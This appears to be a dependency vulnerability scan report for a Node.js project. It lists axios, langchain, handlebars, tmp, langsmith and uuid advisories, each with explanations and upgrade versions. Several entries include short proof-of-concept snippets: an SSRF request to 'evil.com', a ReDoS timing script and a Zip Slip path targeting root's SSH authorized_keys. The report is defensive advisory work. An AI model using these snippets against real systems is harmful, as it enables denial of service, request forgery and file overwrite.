  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.12.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the data: URL handler. An attacker can trigger a denial of service by crafting a data: URL with an excessive payload, causing allocation of memory for content decoding before verifying content size limits.

Remediation

Upgrade axios to version 0.30.0, 1.12.0 or higher.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.15.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the data.pipe(req) upload path in the HTTP adapter. An attacker can send a streamed request body larger than the configured maxBodyLength while maxRedirects is 0, causing the client to transmit the oversized payload to the server instead of stopping at the limit. This lets a remote peer force excessive bandwidth and request processing on applications that rely on maxBodyLength to cap upload size, potentially exhausting resources and disrupting service.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.15.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HTTP response handling path in the http.js adapter. An attacker can force a client to accept and process a response body larger than maxContentLength by sending a streamed response with an oversized payload. This allows a remote server to bypass the configured response-size limit, causing the application to read and buffer more data than intended, potentially exhausting memory or stalling request processing.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity
new

CRLF Injection

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.15.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to CRLF Injection through the FormDataPart multipart header construction in the form-data streaming helper. An attacker can inject arbitrary multipart headers by supplying a Blob-like value whose type contains \r or \n, causing the generated Content-Type line to break and append attacker-controlled header fields. This lets a crafted upload alter the multipart body sent by the application, which can corrupt downstream request parsing and expose or tamper with data handled by the receiving server.

Remediation

Upgrade axios to version 1.15.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.6.3.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2). This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.

PoC

const axios = require('axios');

console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');

console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');


/* stdout
t1: 60.826ms
t2: 5.826s
*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.29.0, 1.6.3 or higher.

References

medium severity
new

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.15.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the AxiosHeaders normalization path and shouldBypassProxy helper. An attacker can smuggle CRLF and other control characters into request header values by supplying crafted header input, causing injected header fields to be sent on outbound requests and potentially altering how downstream servers interpret the request; in proxy configurations, a request to localhost, 127.0.0.1, or ::1 can be routed differently depending on the no_proxy entry, allowing loopback traffic to bypass the intended proxy handling.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Arbitrary File Write via Archive Extraction (Zip Slip)

  • Vulnerable module: langchain
  • Introduced through: langchain@0.0.195

Detailed paths

  • Introduced through: hayde@Sly777/hayde langchain@0.0.195
    Remediation: Upgrade to langchain@0.2.19.

Overview

langchain is a Typescript bindings for langchain

Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip) in the getFullPath method, which allows an attacker to save files anywhere in the filesystem through the setFileContent function, overwrite and read existing text files through the getParsedFile function, and delete files through the mdelete function.

Details

It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:


+2018-04-15 22:04:29 ..... 19 19 good.txt

+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade langchain to version 0.2.19 or higher.

References

medium severity

Symlink Attack

  • Vulnerable module: tmp
  • Introduced through: inquirer@9.2.12

Detailed paths

  • Introduced through: hayde@Sly777/hayde inquirer@9.2.12 external-editor@3.1.0 tmp@0.0.33

Overview

Affected versions of this package are vulnerable to Symlink Attack via the dir parameter. An attacker can cause files or directories to be written to arbitrary locations by supplying a crafted symbolic link that resolves outside the intended temporary directory.

PoC

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

Remediation

Upgrade tmp to version 0.2.4 or higher.

References

medium severity
new

Improper Encoding or Escaping of Output

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.15.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the encode function in AxiosURLSearchParams. An attacker can smuggle a NUL byte into serialized query strings by supplying crafted parameter values, causing downstream parsers or backend components to misinterpret the request and potentially truncate or alter parameter handling.

Notes: Standard axios request flow (buildURL) uses its own encode function, which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity
new

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.15.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeDirectKeys function in mergeConfig. An attacker can force a request configuration to inherit attacker-controlled properties by supplying a polluted Object.prototype, causing Axios to read inherited values, such as validateStatus, during config merging. This lets a malicious page or library alter how responses are handled, including making 4xx and 5xx responses be treated as successful and bypassing normal error handling in applications that rely on Axios defaults.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity
new

Unintended Proxy or Intermediary ('Confused Deputy')

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.15.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Unintended Proxy or Intermediary ('Confused Deputy') via improper hostname normalization in the NO_PROXY environment variable. An attacker controlling request URLs can access internal or loopback services by crafting requests (with a trailing dot or [::1]) that bypass proxy restrictions, causing sensitive requests to be routed through an unintended proxy.

Note:

This is only exploitable if the application relies on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: handlebars
  • Introduced through: handlebars@4.7.8

Detailed paths

  • Introduced through: hayde@Sly777/hayde handlebars@4.7.8
    Remediation: Upgrade to handlebars@4.7.9.

Overview

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Prototype Pollution in the protoAccessControl function. An attacker can gain unauthorized access to prototype methods by referencing __lookupSetter__ in templates through untrusted input.

Note: This is only exploitable if the allowProtoMethodsByDefault option is set to true.

Workaround

This vulnerability can be mitigated by not enabling the allowProtoMethodsByDefault option, or by ensuring templates do not reference __lookupSetter__ through untrusted input.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade handlebars to version 4.7.9 or higher.

References

medium severity

Time-of-check Time-of-use (TOCTOU) Race Condition

  • Vulnerable module: handlebars
  • Introduced through: handlebars@4.7.8

Detailed paths

  • Introduced through: hayde@Sly777/hayde handlebars@4.7.8
    Remediation: Upgrade to handlebars@4.7.9.

Overview

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Time-of-check Time-of-use (TOCTOU) Race Condition in the lookup function. An attacker can access properties that should be restricted by bypassing prototype-access controls through a time-of-check time-of-use (TOCTOU) flaw, where the security check and the actual property access are decoupled.

Note: This is only exploitable if the { compat: true } compile option is enabled.

Workaround

This vulnerability can be mitigated by avoiding the { compat: true } option and ensuring context data objects are plain JSON without Proxies or getter-based accessor properties.

Remediation

Upgrade handlebars to version 4.7.9 or higher.

References

medium severity
new

Insertion of Sensitive Information into Log File

  • Vulnerable module: langsmith
  • Introduced through: langchain@0.0.195

Detailed paths

  • Introduced through: hayde@Sly777/hayde langchain@0.0.195 langsmith@0.0.70
    Remediation: Upgrade to langchain@1.0.1.

Overview

langsmith is a Client library to connect to the LangSmith Observability and Evaluation Platform.

Affected versions of this package are vulnerable to Insertion of Sensitive Information into Log File through the Client handling of events. An attacker can bypass redaction controls and exfiltrate LLM output by supplying streaming events with kwargs content that gets uploaded as part of a run. This leaks token-by-token model output into traced events, exposing prompt or response data to anyone with access to the stored run records.

Remediation

Upgrade langsmith to version 0.5.19 or higher.

References

medium severity
new

Prototype Pollution

  • Vulnerable module: langsmith
  • Introduced through: langchain@0.0.195

Detailed paths

  • Introduced through: hayde@Sly777/hayde langchain@0.0.195 langsmith@0.0.70
    Remediation: Upgrade to langchain@1.0.1.

Overview

langsmith is a Client library to connect to the LangSmith Observability and Evaluation Platform.

Affected versions of this package are vulnerable to Prototype Pollution via constructor.prototype in the baseAssignValue() function. An attacker can modify the Object.prototype by supplying specially crafted keys in processed data, potentially impacting all objects within the Node.js process.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade langsmith to version 0.5.18 or higher.

References

medium severity
new

Improper Validation of Specified Index, Position, or Offset in Input

  • Vulnerable module: uuid
  • Introduced through: langchain@0.0.195

Detailed paths

  • Introduced through: hayde@Sly777/hayde langchain@0.0.195 uuid@9.0.1
    Remediation: Upgrade to langchain@1.2.28.
  • Introduced through: hayde@Sly777/hayde langchain@0.0.195 langsmith@0.0.70 uuid@9.0.1
    Remediation: Upgrade to langchain@1.0.1.

Overview

uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.

Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.

PoC

cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4',()=>v4({},new Uint8Array(8),4)],
  ['v5',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"

Remediation

Upgrade uuid to version 11.1.1, 14.0.0 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.8.2.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.

PoC

const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');

Remediation

Upgrade axios to version 0.30.0, 1.8.2 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.8.3.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls to false by default when processing a requested URL in buildFullPath(). It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.

Remediation

Upgrade axios to version 0.30.0, 1.8.3 or higher.

References

medium severity
new

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: axios
  • Introduced through: axios@1.6.2

Detailed paths

  • Introduced through: hayde@Sly777/hayde axios@1.6.2
    Remediation: Upgrade to axios@1.15.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data through the request configuration handling in the adapters/xhr.js adapter and helpers/resolveConfig.js‎. An attacker can force the withXSRFToken option to a truthy non-boolean value, or pollute Object.prototype.withXSRFToken, by supplying a crafted request config that causes the XSRF header to be sent on cross-origin requests. When withXSRFToken is treated as a generic truthy value, the same-origin check is bypassed, and the browser reads the XSRF cookie and attaches it to an attacker-controlled destination. This exposes the user's XSRF token to a cross-origin endpoint, potentially enabling request forgery against the victim's authenticated session.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

low severity

Prototype Pollution

  • Vulnerable module: handlebars
  • Introduced through: handlebars@4.7.8

Detailed paths

  • Introduced through: hayde@Sly777/hayde handlebars@4.7.8
    Remediation: Upgrade to handlebars@4.7.9.

Overview

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Prototype Pollution via the resolvePartial function. An attacker can inject malicious scripts into rendered output by polluting Object.prototype with a key matching a partial reference, causing unescaped content to be rendered.

Note:

This is only exploitable if the attacker knows or can guess the name of a partial reference used in a template.

Workaround

This vulnerability can be mitigated by applying Object.freeze(Object.prototype) early in application startup or by using the runtime-only build, which reduces the attack surface.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade handlebars to version 4.7.9 or higher.

References

low severity

SQL Injection

  • Vulnerable module: langchain
  • Introduced through: langchain@0.0.195

Detailed paths

  • Introduced through: hayde@Sly777/hayde langchain@0.0.195
    Remediation: Upgrade to langchain@0.3.3.

Overview

langchain is a Typescript bindings for langchain

Affected versions of this package are vulnerable to SQL Injection via the default configuration of the GraphCypherQAChain class, by manipulating entities in the graph database through prompt injection.

Remediation

Upgrade langchain to version 0.3.3 or higher.

References